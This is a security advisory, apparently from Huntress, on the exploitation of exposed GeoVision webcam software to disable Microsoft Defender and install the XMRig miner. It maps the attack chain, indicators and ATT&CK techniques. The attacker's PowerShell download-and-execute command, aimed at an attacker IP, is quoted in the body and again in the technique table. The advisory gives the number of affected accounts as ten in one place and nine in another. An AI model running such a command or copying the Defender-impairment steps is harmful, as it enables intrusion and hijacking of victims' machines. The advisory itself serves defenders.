Threat Advisory: GeoVision Camera Software Exploited to Drop XMRig

Acknowledgements: Special thanks to Zach Rogers, Cristian Poenaru, Harry Godridge, and Tanner Filip for their contributions to the analysis and triage associated with this investigation and this writeup. 

Background 

The Huntress SOC observed widespread malicious activity stemming from GeoVision webcam software this week, with the bulk of the attacks occurring between November 8 and November 10. GeoVision is a Taiwanese surveillance and access-control company.

We have seen malicious activity across ten accounts and 13 organizations (all across various industries). All malicious activity stemmed from GeoStartupAgentService.exe; across many endpoints, the activity was run under the NT AUTHORITY\SYSTEM account. A search on Shodan for impacted endpoints' external IPs indicated publicly exposed GeoVision devices or management interfaces.

Figure 1: Suspicious command stemming from GeoStartupAgentService.exe

The detected activity originating from this parent process exhibited a similar attack chain and dropped files across most endpoints. Figure 2 breaks down the attack chain we observed.

Figure 2: The attack chain observed by the SOC across multiple organizations 

What we saw

On various endpoints where this software was publicly exposed, we first saw the GeoVision service spawn a command shell:

cmd.exe /c powershell -c iex (new-object net.webclient).downloadstring('hxxp://45[.]32[.]117[[.]]34/a')

The command then led to the launch of various PowerShell scripts both in memory and downloaded to disk (a, b, and c ) from 45.32.117[.]34. The PS1 extension will be added to these to help with readability.

We observed a.ps1 being detonated in memory before searching for writable directories and checking if Microsoft Defender is active on the victim's environment. The secondary script (b.ps1) was written to disk before being detonated using WMI. This script also performed the same writable folder probe as the previous script before downloading kvckiller.sys. Closer inspection via VirusTotal reveals this to be a Windows kernel-mode driver (wsftprm.sys) that's previously been abused in Bring Your Own Vulnerable Driver (BYOVD) attacks as a way for threat actors to tamper with antivirus protections like Microsoft Defender.

Figure 3: VirusTotal search for wsftprm.sys, which has been seen in the wild as  kvckiller.sys

At this stage of the attack, we also observed attackers configuring three IFEO Debugger hijacks, which abuse a Windows troubleshooting feature. Image File Execution Options (IFEO) lets administrators configure a "debugger" to start when a particular executable is launched. The setting is stored in the Windows Registry under a key named for that executable.

This particular attack targeted Windows Defender components MsMpEng.exe (the Microsoft Defender Antivirus engine), SecurityHealthService.exe (the Windows Security service), and  SecurityHealthSystray.exe (the Windows Security notification-area app). 

When Windows or another component tries to start one of those executables, the IFEO setting redirected the launch to systray.exe  instead. This is a likely attempt to interfere with the launch of those components, as redirecting the launch to systray.exe can keep the intended security process from starting, depending on how the replacement is configured. 

Finally, c.ps1 was detonated in memory. This script's main purpose was to download and execute update.exe in the current directory, which was a custom Golang loader (reaching out to 156.246.94[.]183). At the time of the investigation, this IP was associated with the domain cctv-update[.]top, which was registered on November 7 at 02:40 UTC. This binary includes a BitTorrent Mainline DHT client and a PKARR resolver (Public-Key Addressable Resource Records). Together, they let it use a public key to find the server's current addresses on the DHT, allowing the operator to move infrastructure without registering a domain or losing access to it.

On some endpoints, we also saw update.exe set up a scheduled task (PackageUpdater), which was configured to execute C:\WINDOWS\system32\config\systemprofile\update.exe every 15 minutes, which restarts update.exe if it stops. On some endpoints, we also saw the scheduled task PackageUpdater_Startup running at system startup with SYSTEM privileges. 

Finally, we observed this loader downloading XMRig (ApplyUpdate.exe), the open-source cryptominer that's been popular with threat actors in various attacks.

Mitigation guidance 

This attack is a reminder that internet-exposed software can give attackers a foothold inside an organization. Organizations should remove unnecessary public access to GeoVision devices and management interfaces, placing them behind a VPN or restricting access to trusted IP addresses. 

Organizations running GeoVision should also look for signs of compromise, including unexpected command shells or PowerShell launched by GeoStartupAgentService.exe, and review the indicators listed in this advisory. If malicious activity is found, defenders should isolate impacted hosts and preserve evidence before removing files or changing configurations.

Additionally, based on our static analysis of update.exe, we have identified several more detection opportunities for organizations:

  • DNS queries to 8.8.8[.]8, 8.8.4[.]4, or 1.1.1[.]1 initiated by a process other than the system DNS client

  • Outbound UDP DHT traffic on port 6881 or similar from a GeoVision server/process WebCamServer.exe

  • schtasks /Create commands launched by update.exe

Finally, the Huntress SOC has seen several previous incidents involving attackers targeting camera systems in order to carry out malicious activity. Organizations should treat camera management applications and software as part of the enterprise attack surface.

Indicators of Compromise (IOCs)

Item

Description

ApplyUpdate.exe

XMRig miner

PowerShell Files: a, b, c

SHA256: 

b673c4d707828abedc767a2be6badef7454492e62c37e30cf3cc5a402fd3647b

PowerShell scripts observed in the attacks

wsftprm.sys

Kvckiller.sys


SHA256: 

ff5dbdcf6d7ae5d97b6f3ef412df0b977ba4a844c45b30ca78c0eeb2653d69a8

Vulnerable driver abused in incident

2.59.133[.]151

WebCamServer.exe observed reaching out to this IP. Likely source of exploitation

45.32.117[.]34

IP that PowerShell scripts (a, b, and c ) were launched from

156.246.94[.]183

IP address that the custom Golang loader (update.exe) was reaching out to 

cctv-update[.]top

The IP 156.246.94[.]183 resolved to this domain

update.exe

SHA256: f1235751c9e48e5732b7b183dc2bb175a19e4c6401dfd0e96b4cfdd0d8c54b4c

Golang binary

PackageUpdater

PackageUpdater_Startup

Scheduled tasks 

MITRE ATT&CK

Tactic

Technique

Context

Resource Development

Stage Capabilities: Upload Malware (T1608.001)

The threat actor hosted the PowerShell scripts a, b, and c on 45.32.117[.]34, and exploited endpoints retrieved and launched them from that server.

Initial Access

Exploit Public-Facing Application (T1190)

The threat actor exploited publicly exposed GeoVision webcam software across nine accounts and 13 organizations. All malicious activity stemmed from GeoStartupAgentService.exe on endpoints whose external IPs Shodan tied to publicly exposed GeoVision devices or management interfaces.

Execution

Scheduled Task/Job: Scheduled Task (T1053.005)

The PackageUpdater scheduled task executed C:\WINDOWS\system32\config\systemprofile\update.exe, the threat actor's Golang loader, every 15 minutes.

Execution

Command and Scripting Interpreter: PowerShell (T1059.001)

The threat actor ran a PowerShell download cradle, powershell -c iex (new-object net.webclient).downloadstring('hxxp://45.32.117[.]34/a'), which launched the later scripts b and c.

Execution

Command and Scripting Interpreter: Windows Command Shell (T1059.003)

The exploited GeoStartupAgentService.exe process spawned a command shell, on many endpoints under the NT AUTHORITY\SYSTEM account, to launch PowerShell.

Persistence

Scheduled Task/Job: Scheduled Task (T1053.005)

On some endpoints, the threat actor's malware created the scheduled task PackageUpdater, which ran update.exe every 15 minutes, and PackageUpdater_Startup, which ran at system startup with SYSTEM privileges. Both tasks were designed to create persistence.

Defense Impairment

Modify Registry (T1112)

The threat actor wrote three IFEO Debugger settings to the Windows Registry, under keys named for the Microsoft Defender and Windows Security executables, to redirect their launch to systray.exe.

Defense Impairment

Disable or Modify Tools (T1685)

The threat actor's PowerShell scripts attempted to disable Microsoft Defender. They also configured IFEO Debugger hijacks that redirected launches of MsMpEng.exe, SecurityHealthService.exe and SecurityHealthSystray.exe to systray.exe, likely to keep those security components from starting.

Discovery

File and Directory Discovery (T1083)

The threat actor's scripts a and b each searched the endpoint for writable directories before taking further action.

Discovery

Software Discovery: Security Software Discovery (T1518.001)

The threat actor's script a checked whether Microsoft Defender was active in the victim's environment.

Command and Control

Ingress Tool Transfer (T1105)

The threat actor's script b downloaded kvckiller.sys, a Windows kernel-mode driver that VirusTotal identifies as wsftprm.sys, and c downloaded the custom Golang loader update.exe. The loader then downloaded the XMRig cryptominer as ApplyUpdate.exe.

Command and Control

Dynamic Resolution (T1568)

The threat actor's update.exe loader, which reached out to 156.246.94[.]183, included a BitTorrent Mainline DHT client and a PKARR resolver. Together they used a public key to find the server's current addresses on the DHT, which let the operator move infrastructure without registering a domain.

Impact

Resource Hijacking: Compute Hijacking (T1496.001)

The threat actor deployed the XMRig cryptominer (ApplyUpdate.exe) on exploited endpoints to hijack their compute resources for cryptocurrency mining.

También te podría interesar